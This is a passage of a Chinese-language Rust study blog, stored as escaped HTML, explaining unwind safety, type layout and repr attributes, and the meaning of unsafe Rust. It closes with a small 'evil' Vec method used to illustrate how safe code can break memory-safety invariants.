&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Rust引入了两个Auto Trait&lt;code&gt;RefUnwindSafe&lt;&#x2F;code&gt;和&lt;code&gt;UnwindSafe&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;T: RefUnwindSafe&lt;&#x2F;code&gt;表示&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;是unwind safe的&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;T: UnwindSafe&lt;&#x2F;code&gt;表示&lt;code&gt;T&lt;&#x2F;code&gt;是unwind safe的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若&lt;code&gt;T: RefUnwindSafe&lt;&#x2F;code&gt;则&lt;code&gt;&amp;amp;T: UnwindSafe&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;但&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;被显式声明为&lt;code&gt;!UnwindSafe&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;实际上&lt;code&gt;UnwindSafe&lt;&#x2F;code&gt;在整个标准库中的使用只有一处，就是&lt;code&gt;catch_unwind(f: F) -&amp;gt; Result&amp;lt;R&amp;gt;&lt;&#x2F;code&gt;中要求闭包&lt;code&gt;F: UnwindSafe&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;也就是闭包捕获的变量，必须在panic后保证其invariant不被破坏&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;而&lt;code&gt;RefUnwindSafe&lt;&#x2F;code&gt;则是用来判断如&lt;code&gt;Rc&lt;&#x2F;code&gt;等类型是否是&lt;code&gt;UnwindSafe&lt;&#x2F;code&gt;的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;当&lt;code&gt;T: RefUnwindSafe&lt;&#x2F;code&gt;时，&lt;code&gt;Rc&lt;&#x2F;code&gt;、&lt;code&gt;Arc&amp;lt;Self&amp;gt;&lt;&#x2F;code&gt;是&lt;code&gt;UnwindSafe&lt;&#x2F;code&gt;的&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;UnsafeCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;被显式声明为&lt;code&gt;!RefUnwindSafe&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这里的unwind safety并不是类型的本质性质，而是程序员提供给编译器的一个hint：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;我们可以通过&lt;code&gt;std::panic::AssertUnwindSafe&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;把不是&lt;code&gt;UnwindSafe&lt;&#x2F;code&gt;的&lt;code&gt;T&lt;&#x2F;code&gt;包裹起来，然后变成&lt;code&gt;UnwindSafe&lt;&#x2F;code&gt;的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;因此，程序员可以自由决定是否提供&lt;code&gt;UnwindSafe&lt;&#x2F;code&gt;这个hint&lt;&#x2F;li&gt;
&lt;li&gt;它只是用来提示Rust，类型&lt;code&gt;T&lt;&#x2F;code&gt;在被&lt;code&gt;catch_unwind&lt;&#x2F;code&gt;的闭包捕获后，即使发生panic也仍能使用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;默认情况下，标准库认为以下类型是&lt;code&gt;UnwindSafe&lt;&#x2F;code&gt;的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;T, *const T, *mut T, NonNull&amp;lt;T&amp;gt;, Rc&amp;lt;T&amp;gt;, Arc&amp;lt;T&amp;gt;, Mutex&amp;lt;T&amp;gt;, RwLock&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，其中&lt;code&gt;T: RefUnwindSafe&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;因为&lt;code&gt;T&lt;&#x2F;code&gt;不含&lt;code&gt;UnsafeCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，上述类型必然是只读的，一定不会破坏&lt;code&gt;T&lt;&#x2F;code&gt;的invariants&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;所有基本类型，以及不含有指针或仅含有上述&lt;code&gt;UnwindSafe&lt;&#x2F;code&gt;的指针的聚合类型&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;它们必然按照move或copy语义被捕获，又没有指向共享的内存，这样即使在&lt;code&gt;catch_unwind&lt;&#x2F;code&gt;的闭包内产生了broken invariants，也不会被&lt;code&gt;catch_unwind&lt;&#x2F;code&gt;外的代码观察到&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于在闭包中进行的修改，可能被&lt;code&gt;catch_unwind&lt;&#x2F;code&gt;外的代码观察的情形，就需要程序员在确保了exception safety的情况下，手动提供&lt;code&gt;UnwindSafe&lt;&#x2F;code&gt;，来告知编译器这样做是安全的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若没有实现exception safety却将类型声明为了&lt;code&gt;UnwindSafe&lt;&#x2F;code&gt;，这就是一个逻辑上的bug，尽管我们不认为其违反了Rust的safety保证（即memory safety）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;综上所述：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;对于&lt;code&gt;unsafe&lt;&#x2F;code&gt;代码，需要仔细考虑exception safety的问题，以保证memory safety&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;unsafe&lt;&#x2F;code&gt;关键字这里起了提示作用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用&lt;code&gt;catch_unwind&lt;&#x2F;code&gt;进行catch时，若有可能破坏数据结构的invariants，即达不到strong exception safety，编译器会提示你的类型没有实现&lt;code&gt;UnwindSafe&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;UnwindSafe&lt;&#x2F;code&gt;这里起了提示作用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;没有使用&lt;code&gt;catch_unwind&lt;&#x2F;code&gt;时，则不会有相应提示，从而代码有可能没有实现strong exception safety，导致panic时数据结构的invariants被破坏&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;但若要观察到broken invariants，需从另一个线程访问该数据结构&lt;&#x2F;li&gt;
&lt;li&gt;这就必须用到&lt;code&gt;Mutex&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;或&lt;code&gt;RwLock&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，除非用户不使用标准库&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Mutex&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;和&lt;code&gt;RwLock&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;提供了poison语义，如果在critical section发生panic，会使&lt;code&gt;Mutex&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;RwLock&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;被poison&lt;&#x2F;li&gt;
&lt;li&gt;这样在另一个线程试图访问&lt;code&gt;T&lt;&#x2F;code&gt;时，poison状态就提示该数据结构的invariants可能已经被破坏，若要仍要访问该数据结构，请程序员自己确保strong exception safety&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于每种情形，Rust都提供了一定的提示，帮助程序员更好地意识到exception safety问题，但总的来说对exception safety的支持仍旧是best-effort的。对于以下情形，Rust不能很好地起到提示程序员注意exception safety问题的作用：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在destructor（&lt;code&gt;drop&lt;&#x2F;code&gt;函数）中总是有可能观察到broken invariants，程序员需要根据实际情况确定这是否会引起问题，并实施相应的对策&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这里Rust不会提供任何提示，程序员必须认识到&lt;code&gt;drop&lt;&#x2F;code&gt;函数是特殊的，需要仔细审查其代码&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;在使用&lt;code&gt;catch_unwind&lt;&#x2F;code&gt;进行catch时，除了通过闭包的捕获变量，还可以通过TLS (Thread Local Storage)在&lt;code&gt;catch_unwind&lt;&#x2F;code&gt;内外共享数据&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;由于TLS不像static变量一样要求实现&lt;code&gt;Sync&lt;&#x2F;code&gt;，故其可以存放&lt;code&gt;RefCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;通过&lt;code&gt;RefCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;修改&lt;code&gt;T&lt;&#x2F;code&gt;时若发生panic，则在&lt;code&gt;catch_unwind&lt;&#x2F;code&gt;外可能观察到invariants被破坏的&lt;code&gt;T&lt;&#x2F;code&gt;，从而违反strong exception safety&lt;&#x2F;li&gt;
&lt;li&gt;这里Rust同样不会提供任何提示，程序员必须认识到使用TLS是危险的，需要仔细考虑exception safety问题&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;type-layout&quot;&gt;Type Layout&lt;&#x2F;h2&gt;
&lt;p&gt;大部分类型的layout都是直观的：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;对于&lt;code&gt;bool&lt;&#x2F;code&gt;、&lt;code&gt;char&lt;&#x2F;code&gt;、整数和浮点类型，其size是明确的，但alignment是platform-specific的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;其中&lt;code&gt;usize&lt;&#x2F;code&gt;、&lt;code&gt;isize&lt;&#x2F;code&gt;的size定义为足够容纳任何内存地址&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于引用和裸指针，指向非DST类型的，size和alignment与&lt;code&gt;usize&lt;&#x2F;code&gt;相同，指向DST类型的，size为&lt;code&gt;usize&lt;&#x2F;code&gt;的两倍，alignment大于等于&lt;code&gt;usize&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Rust仍保留改变指向DST类型的指针的size的可能性，即将来可能从fat pointer改为vtable的实现方式&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于array&lt;code&gt;[T; n]&lt;&#x2F;code&gt;、slice&lt;code&gt;[T]&lt;&#x2F;code&gt;（包括str，视为&lt;code&gt;[u8]&lt;&#x2F;code&gt;），其第&lt;code&gt;i&lt;&#x2F;code&gt;个元素的offset位于&lt;code&gt;i * sizeof(T)&lt;&#x2F;code&gt;，整体size为&lt;code&gt;n * sizeof(T)&lt;&#x2F;code&gt;，alignment与&lt;code&gt;T&lt;&#x2F;code&gt;相同&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于trait object&lt;code&gt;dyn Trait&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;，layout与其underlying的类型&lt;code&gt;T: Trait&lt;&#x2F;code&gt;相同&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于tuple和closure，没有任何size和alignment的guarantee&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于struct、enum和union，则有&lt;em&gt;representation&lt;&#x2F;em&gt;的说法，representation不同则layout不同：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Default representation: 不提供任何guarantee，也称为Rust representation&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;C representation: 通过&lt;code&gt;#[repr(C)]&lt;&#x2F;code&gt;属性指定，用于与C交互，或需要手动控制layout的场合（例如网络包）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Primitive representation: 包括&lt;code&gt;#[repr(u8)]&lt;&#x2F;code&gt;, &lt;code&gt;#[repr(u16)]&lt;&#x2F;code&gt;等，所有整数类型都可以填入&lt;code&gt;#[repr(..)]&lt;&#x2F;code&gt;中&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;只适用于enum类型，并且只适用于C-like enum（即所有variant都是empty variant的enum），否则其layout是unspecified的&lt;&#x2F;li&gt;
&lt;li&gt;对于C-like enum，其size和alignment都和&lt;code&gt;#[repr(..)]&lt;&#x2F;code&gt;中填入的整数类型相同&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Trasparent representation: 通过&lt;code&gt;#[repr(transparent)]&lt;&#x2F;code&gt;属性指定&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;只能用于仅含一个非零size的field和零到若干size为零的field的struct&lt;&#x2F;li&gt;
&lt;li&gt;表示其layout与唯一的非零size field相同&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;现在来详细解释C representation：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;对于struct，alignment取所有field中最大的alignment，field的offset以及总的size按如下算法确定&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;初始状态，&lt;code&gt;current_offset = 0&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;每次按声明顺序取出下一个field，若&lt;code&gt;current_offset&lt;&#x2F;code&gt;不满足其alignment，则插入若干padding bytes&lt;&#x2F;li&gt;
&lt;li&gt;该field的offset就是&lt;code&gt;current_offset + padding_size&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;在取出下一个field前，令&lt;code&gt;current_offset += padding_size + field.size&lt;&#x2F;code&gt;，然后回到第2步&lt;&#x2F;li&gt;
&lt;li&gt;上述循环结束后，若&lt;code&gt;current_offset&lt;&#x2F;code&gt;不满足struct整体的alignment，则再插入若干padding bytes，最后整个struct的size为&lt;code&gt;current_offset + padding_size&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于enum，C representation只适用于C-like enum，否则其layout是unspecified的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对于C-like enum，其size和alignment都和target platform上C&lt;code&gt;enum&lt;&#x2F;code&gt;默认的size和alignment相同&lt;&#x2F;li&gt;
&lt;li&gt;由于C中&lt;code&gt;enum&lt;&#x2F;code&gt;的representation是implementation defined的，Rust不保证&lt;code&gt;#[repr(C)] enum&lt;&#x2F;code&gt;一定与C兼容&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于union，size和alignment将和一个等价的C&lt;code&gt;union&lt;&#x2F;code&gt;相同&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;alignment取所有field中最大的alignment&lt;&#x2F;li&gt;
&lt;li&gt;size取所有field中最大的size，再向上round到整个union的alignment&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此外，对于struct和union，还可以指定&lt;code&gt;align(x)&lt;&#x2F;code&gt;和&lt;code&gt;packed(x)&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;其中&lt;code&gt;x&lt;&#x2F;code&gt;必须取2的幂，&lt;code&gt;packed&lt;&#x2F;code&gt;相当于&lt;code&gt;packed(1)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;适用于default和C representation，如&lt;code&gt;#[repr(packed)]&lt;&#x2F;code&gt;, &lt;code&gt;#[repr(C, align(8))]&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;align(x)&lt;&#x2F;code&gt;用于提升alignment，而&lt;code&gt;packed(x)&lt;&#x2F;code&gt;用于降低alignment&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;align(x)&lt;&#x2F;code&gt;中&lt;code&gt;x&lt;&#x2F;code&gt;若小于被修饰的类型的alignment，则会被忽略&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;packed(x)&lt;&#x2F;code&gt;中&lt;code&gt;x&lt;&#x2F;code&gt;若大于被修饰的类型的alignment，则会被忽略&lt;&#x2F;li&gt;
&lt;li&gt;两者不能修饰同一个类型&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;packed&lt;&#x2F;code&gt;类型不能含有被&lt;code&gt;align&lt;&#x2F;code&gt;修饰的field&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;#[repr(packed)]&lt;&#x2F;code&gt;与GCC的&lt;code&gt;__attribute__ ((packed))&lt;&#x2F;code&gt;不同&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;前者只去除了struct&#x2F;union末尾的padding，每个field的alignment还保持原样不变&lt;&#x2F;li&gt;
&lt;li&gt;后者相当于递归地令所有field都具备了&lt;code&gt;packed&lt;&#x2F;code&gt;属性，消除了所有padding&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;实际上，还可以对enum指定&lt;code&gt;align(x)&lt;&#x2F;code&gt;，增加其alignment，但不能对其指定&lt;code&gt;packed(x)&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;unsafe-rust&quot;&gt;Unsafe Rust&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;definition-of-unsafe&quot;&gt;Definition of Unsafe&lt;&#x2F;h3&gt;
&lt;p&gt;先来看涉及unsafe的两个特性：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;裸指针: &lt;code&gt;*const T&lt;&#x2F;code&gt;表示只读指针，&lt;code&gt;*mut T&lt;&#x2F;code&gt;表示可读写的指针，裸指针都没有lifetime，从裸指针得到的引用都具备*&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tcbbd.moe&#x2F;lang&#x2F;rust&#x2F;#lifetime-parameters-i&quot;&gt;unbounded lifetime&lt;&#x2F;a&gt;*&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;解引用裸指针是unsafe操作，必须在&lt;code&gt;unsafe&lt;&#x2F;code&gt;块中进行&lt;&#x2F;li&gt;
&lt;li&gt;但对裸指针进行算数操作是safe的，因为裸指针到整数之间的coercion是safe的&lt;&#x2F;li&gt;
&lt;li&gt;裸指针不受borrow checker的限制，不遵循borrow规则&lt;&#x2F;li&gt;
&lt;li&gt;裸指针可以是null，也可以是dangling pointer&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Union: &lt;code&gt;union Union {...}&lt;&#x2F;code&gt;，union的声明方式和struct完全相同，除了&lt;code&gt;struct&lt;&#x2F;code&gt;关键字换成了&lt;code&gt;union&lt;&#x2F;code&gt;，union也可以是generic的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;读取union的field是unsafe操作，必须在&lt;code&gt;unsafe&lt;&#x2F;code&gt;块中进行&lt;&#x2F;li&gt;
&lt;li&gt;但初始化union以及为union的field赋值是safe的&lt;&#x2F;li&gt;
&lt;li&gt;一旦borrow了union的一个field，就视为borrow了其所有field&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;unsafe&lt;&#x2F;code&gt;关键词有三种用途：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;unsafe {...}&lt;&#x2F;code&gt;: unsafe block，在其中可以调用unsafe function，或进行unsafe操作&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;unsafe fn&lt;&#x2F;code&gt;: unsafe function，在其中可以调用unsafe function，或进行unsafe操作&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;unsafe trait&lt;&#x2F;code&gt;: unsafe trait，表示实现trait是unsafe的，对应的impl必须是&lt;code&gt;unsafe impl&lt;&#x2F;code&gt;，例如&lt;code&gt;Sync&lt;&#x2F;code&gt;和&lt;code&gt;Send&lt;&#x2F;code&gt;就是unsafe trait&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所谓unsafe操作包括如下内容：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;解引用裸指针&lt;&#x2F;li&gt;
&lt;li&gt;读取或写入mutable static变量或external static变量&lt;&#x2F;li&gt;
&lt;li&gt;读取union的field&lt;&#x2F;li&gt;
&lt;li&gt;调用unsafe function，包括unsafe external function&lt;&#x2F;li&gt;
&lt;li&gt;实现unsafe trait&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;semantics-of-unsafe&quot;&gt;Semantics of Unsafe&lt;&#x2F;h3&gt;
&lt;p&gt;首先，我们要明确的是Rust发明&lt;code&gt;unsafe&lt;&#x2F;code&gt;特性的目的是什么：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Rust作为一个system language，必须具备操作raw pointer的能力，一旦引入raw pointer就必然引入UB (Undefined Behavior)&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Rust又希望能够保证memory safety（包括data race free也算作memory safety）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;因此通过&lt;code&gt;unsafe&lt;&#x2F;code&gt;将代码分为了Safe Rust和Unsafe Rust，在Unsafe Rust中允许使用raw pointer等功能，而在Safe Rust中则可以假定memory safety总是得到保证&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Safe Rust依赖于Unsafe Rust提供的guarantee，即保证Safe Rust的memory safety&lt;&#x2F;li&gt;
&lt;li&gt;一段Unsafe Rust代码如果不能保证memory safety，我们就说它是&lt;em&gt;unsound&lt;&#x2F;em&gt;的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;总而言之，&lt;code&gt;unsafe&lt;&#x2F;code&gt;的含义是双重的：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;第一重是在Rust语言中的定义，即在&lt;code&gt;unsafe&lt;&#x2F;code&gt; block和function中，可以使用4种unsafe操作，并且实现&lt;code&gt;unsafe&lt;&#x2F;code&gt; trait需要使用&lt;code&gt;unsafe&lt;&#x2F;code&gt;关键字&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;第二重则是对程序员的要求，即要求程序员保证使用了&lt;code&gt;unsafe&lt;&#x2F;code&gt;的代码的memory safety，确保程序是sound的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;而要实现memory safety，就不能发生UB，这样就排除了C&#x2F;C++中臭名昭著的UB&lt;&#x2F;li&gt;
&lt;li&gt;实际上Rust语言认为发生UB和程序执行出错是一回事，尽管程序不一定立即crash，但这应当认为是用户代码中的一个bug&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;需要注意的是，&lt;code&gt;unsafe&lt;&#x2F;code&gt;块的memory safety可能依赖于它外部的safe代码：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;一个函数可能依赖于其参数满足某些invariants，才能确保其中的unsafe操作是memory safe的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;此时就需要将整个函数标记为&lt;code&gt;unsafe&lt;&#x2F;code&gt;函数，并在函数的文档中详细说明调用者应保证何种invariant&lt;&#x2F;li&gt;
&lt;li&gt;而调用者也会被此&lt;code&gt;unsafe&lt;&#x2F;code&gt;感染，必须使用&lt;code&gt;unsafe&lt;&#x2F;code&gt;块才能调用该函数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;一个generic函数可能依赖于其使用的trait满足某些invariants，才能确保其中的unsafe操作&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;此时就需要将该trait标记为&lt;code&gt;unsafe&lt;&#x2F;code&gt; trait，并在trait的文档中详细说明实现时应保证何种invariant&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Send&lt;&#x2F;code&gt;和&lt;code&gt;Sync&lt;&#x2F;code&gt;就是unsafe trait，因为若不满足其性质却将其实现，可能会导致data race，破坏Safe Rust的memory safety保证&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;甚至没有直接使用&lt;code&gt;unsafe&lt;&#x2F;code&gt;代码的safe函数，也可能间接破坏memory safety。假设&lt;code&gt;Vec&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;的定义如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;pub struct Vec&amp;lt;T&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    ptr: *mut T,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    cap: usize,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    len: usize,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;若我们为其增加一个函数&lt;code&gt;evil&lt;&#x2F;code&gt;，则调用&lt;code&gt;evil&lt;&#x2F;code&gt;会破坏memory safety，因为有可能访问到尚未初始化的内存，但&lt;code&gt;evil&lt;&#x2F;code&gt;中并不包含&lt;code&gt;unsafe&lt;&#x2F;code&gt;代码：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;impl Vec&amp;lt;T&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    pub fn evil(&amp;amp;mut self) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        self.len += 2;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
